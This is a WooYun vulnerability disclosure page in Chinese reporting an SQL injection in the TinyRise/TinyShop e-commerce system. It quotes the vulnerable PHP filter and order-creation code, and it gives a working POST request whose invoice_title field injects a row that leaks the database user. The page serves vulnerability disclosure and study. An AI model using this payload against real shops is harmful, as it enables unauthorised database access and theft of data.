当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-080500

漏洞标题:TinyRise 最新版注射获取敏感信息

相关厂商:tinyrise.com

漏洞作者: menmen519

提交时间:2014-10-24 11:15

修复时间:2014-12-30 14:44

公开时间:2014-12-30 14:44

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-10-24: 细节已通知厂商并且等待厂商处理中
2014-10-25: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2014-12-19: 细节向核心白帽子及相关领域专家公开
2014-12-29: 细节向普通白帽子公开
2015-01-08: 细节向实习白帽子公开
2014-12-30: 细节向公众公开

简要描述:

TinyRise 最新版注射获取敏感信息

详细说明:

主要问题出在filter_class.php:

public static function text($str)
{
$config = HTMLPurifier_Config::createDefault();
$cache_dir=Tiny::getPath('cache')."/htmlpurifier/";
if(!file_exists($cache_dir))
{
File::mkdir($cache_dir);
}
$config = HTMLPurifier_Config::createDefault();
//配置 缓存目录
$config->set('Cache.SerializerPath',$cache_dir); //设置cache目录

//配置 允许flash
$config->set('HTML.SafeEmbed',true);
$config->set('HTML.SafeObject',true);
$config->set('Output.FlashCompat',true);
//$config->set('HTML.Allowed', 'p');
//$config->set('AutoFormat.AutoParagraph', true);
//$config->set('AutoFormat.RemoveEmpty', true);
//允许<a>的target属性
$def = $config->getHTMLDefinition(true);
$def->addAttribute('a', 'target', 'Enum#_blank,_self,_target,_top');

$purifier = new HTMLPurifier($config);
if (get_magic_quotes_gpc())$str = stripslashes($str);
$str = $purifier->purify($str);
return self::sql($str);
}


当gpc 开启的时候这个对其进行了解码
然后我们看注入点
simple.php:

if($this->checkOnline()){
$address_id = Filter::int(Req::args('address_id'));
$payment_id = Filter::int(Req::args('payment_id'));
$prom_id = Filter::int(Req::args('prom_id'));
$is_invoice = Filter::int(Req::args('is_invoice'));
$invoice_type = Filter::int(Req::args('invoice_type'));
$invoice_title = Filter::text(Req::args('invoice_title'));
$user_remark = Filter::txt(Req::args('user_remark'));
$voucher_id = Filter::int(Req::args('voucher'));
//非普通促销信息
$type = Req::args("type");
$id = Filter::int(Req::args('id'));
$product_id = Req::args('product_id');
$buy_num = Req::args('buy_num');
if(!$address_id || !$payment_id || ($is_invoice==1 && $invoice_title=='')){
if(is_array($product_id)){
foreach($product_id as $key=>$val){
$product_id[$key] = Filter::int($val);
}
$product_id = implode('-', $product_id);
}
else $product_id = Filter::int($product_id);
$data = Req::args();
$data['is_invoice']=$is_invoice;
if(!$address_id) $data['msg'] = array('fail',"必需选择收货地址,才能确认订单。");
else if(!$payment_id)$data['msg'] = array('fail',"必需选择支付方式,才能确认订单。");
else $data['msg'] = array('fail',"索要发票,必需写明发票抬头。");
if($type==null)$this->redirect("order",false,$data);
else {
unset($data['act']);
Req::args('pid',$product_id);
Req::args('id',$id);
unset($_GET['act']);
Req::args('type',$type);
Req::args('msg',$data['msg']);
$this->redirect("/simple/order_info",true,Req::args());
}
exit;
}
//订单类型: 0普通订单 1团购订单 2限时抢购 3捆绑促销
$order_type = 0;
$model = new Model('');
//团购处理
if($type=="groupbuy"){
$product_id = Filter::int($product_id[0]);
$num = $buy_num[0];
$item = $model->table("groupbuy as gb")->join("left join goods as go on gb.goods_id=go.id left join products as pr on pr.id=$product_id")->fields("*,pr.id as product_id,pr.spec")->where("gb.id=$id")->find();
$order_products = $this->packGroupbuyProducts($item,$num);
$groupbuy = $model->table("groupbuy")->where("id=$id")->find();
unset($groupbuy['description']);
$data['prom'] = serialize($groupbuy);
$data['prom_id'] = $id;
$order_type = 1;
}else if($type=="flashbuy"){//抢购处理
$product_id = Filter::int($product_id[0]);
$num = $buy_num[0];
$item = $model->table("flash_sale as fb")->join("left join goods as go on fb.goods_id=go.id left join products as pr on pr.id=$product_id")->fields("*,pr.id as product_id,pr.spec")->where("fb.id=$id")->find();
$order_products = $this->packFlashbuyProducts($item,$num);
$flashbuy = $model->table("flash_sale")->where("id=$id")->find();
unset($flashbuy['description']);
$data['prom'] = serialize($flashbuy);
$data['prom_id'] = $id;
$order_type = 2;
}else if($type=="bundbuy"){//捆绑销售处理
$product_ids = implode(',', $product_id);
$num = Filter::int($buy_num[0]);
$model = new Model("bundling");
$bund = $model->where("id=$id")->find();
if($bund){
$goods_id = $bund['goods_id'];
$products = $model->table("goods as go")->join("left join products as pr on pr.goods_id=go.id")->where("pr.id in ($product_ids)")->fields("*,pr.id as product_id,pr.spec")->group("go.id")->findAll();
$order_products = $this->packBundbuyProducts($products,$num);
}

$bundbuy = $model->table("bundling")->where("id=$id")->find();
unset($bundbuy['description']);
$data['prom'] = serialize($bundbuy);
$data['prom_id'] = $id;
$current = current($order_products);
$bundbuy_amount = sprintf("%01.2f",$bund['price']) * $current['num'];

$order_type = 3;
}
if($order_type==0){
$order_products = $this->cart;
$data['prom_id'] = $prom_id;
}

//地址信息
$address = $model->table("address")->where("id=$address_id")->find();
//if(!$address)$this->redirect("order",false,Req::args());
//if(!$payment_id)$this->redirect("order",false,Req::args());
//商品总金额,重量,积分计算
$payable_amount = 0.00;
$real_amount = 0.00;
$weight=0;
$point = 0;
foreach ($order_products as $item) {
$payable_amount+=$item['sell_total'];
$real_amount+=$item['amount'];
$weight += $item['weight']*$item['num'];
$point += $item['point']*$item['num'];
}
if($order_type == 3) $real_amount = $bundbuy_amount;
//计算运费
$fare = new Fare($weight);
$payable_freight = $fare->calculate($address_id);
$real_freight = $payable_freight;
//计算订单优惠
$prom_order = array();
$discount_amount = 0;
if($order_type ==0 ){
if($prom_id){
$prom = new Prom($real_amount);
$prom_order = $model->table("prom_order")->where("id=$prom_id")->find();
//防止非法会员使用订单优惠
$user = $this->user;
$group_id = ',0,';
if(isset($user['group_id'])) $group_id = ','.$user['group_id'].',';
if(stripos(','.$prom_order['group'].',',$group_id)!==false){
$prom_parse = $prom->parsePorm($prom_order);
$discount_amount = $prom_parse['value'];
if($prom_order['type']==4) $discount_amount = $payable_freight;
else if($prom_order['type']==2){
$multiple = intval($prom_order['expression']);
$multiple = $multiple==0?1:$multiple;
$point = $point * $multiple;
}
$data['prom'] = serialize($prom_order);
}
else $data['prom'] = serialize(array());
}
}
//税计算
$tax_fee = 0;
$config = Config::getInstance();
$config_other = $config->get('other');
$open_invoice = isset($config_other['other_is_invoice'])?!!$config_other['other_is_invoice']:false;
$tax = isset($config_other['other_tax'])?intval($config_other['other_tax']):0;
if($open_invoice && $is_invoice){
$tax_fee = $real_amount*$tax/100;
}
//代金券处理
$voucher_value = 0;
$voucher = array();
if($voucher_id){
$voucher = $model->table("voucher")->where("id=$voucher_id and is_send=1 and user_id=".$this->user['id']." and status = 0 and '".date("Y-m-d H:i:s")."' <=end_time and '".date("Y-m-d H:i:s")."' >=start_time and money<=".$real_amount)->find();
if($voucher){
$voucher_value = $voucher['value'];
if($voucher_value>$real_amount)$voucher_value = $real_amount;
}
}
//计算订单总金额
$order_amount = $real_amount + $payable_freight + $tax_fee - $discount_amount - $voucher_value;

//填写订单
$data['order_no'] = Common::createOrderNo();
$data['user_id'] = $this->user['id'];
$data['payment'] = $payment_id;
$data['status'] = 2;
$data['pay_status'] = 0;
$data['accept_name'] = $address['accept_name'];
$data['phone'] = $address['phone'];
$data['mobile'] = $address['mobile'];
$data['province'] = $address['province'];
$data['city'] = $address['city'];
$data['county'] = $address['county'];
$data['addr'] = $address['addr'];
$data['zip'] = $address['zip'];
$data['payable_amount'] = $payable_amount;

$data['payable_freight'] = $payable_freight;
$data['real_freight'] = $real_freight;
$data['create_time'] = date('Y-m-d H:i:s');
$data['user_remark'] = $user_remark;
$data['is_invoice'] = $is_invoice;
if($is_invoice==1){
$data['invoice_title'] = $invoice_type.':'.$invoice_title;
}else{
$data['invoice_title'] = '';
}

$data['taxes'] = $tax_fee;


$data['discount_amount'] = $discount_amount;
$data['order_amount'] = $order_amount;
$data['real_amount'] = $real_amount;

$data['point'] = $point;
$data['type'] = $order_type;
$data['voucher_id'] = $voucher_id;
$data['voucher'] = serialize($voucher);
//var_dump($order_products);exit();
//写入订单数据
$order_id = $model->table("order")->data($data)->insert();


从开始传递:
$invoice_title = Filter::text(Req::args('invoice_title'));
到中间计算$data['invoice_title'] = $invoice_type.':'.$invoice_title;
然后到插入数据库,没有再次做转义导致注入
我们发送url:
POST /tinyshopv1.1/index.php?con=simple&act=order_act HTTP/1.1
Host: localhost
postdata:
address_id=2&payment_id=1&user_remark=xxxxx'&is_invoice=1&invoice_type=0&invoice_title=',0,0,12,0,0,0,0,1),(0,user(),2,1,2,0,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,0,0,1,0,0,0,0,1)#
然后我们到自己的订单页面查看:

1.png

漏洞证明:

修复方案:

版权声明:转载请注明来源 menmen519@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-12-30 14:44

厂商回复:

此问题已有人提交过,谢谢支持。

最新状态:

暂无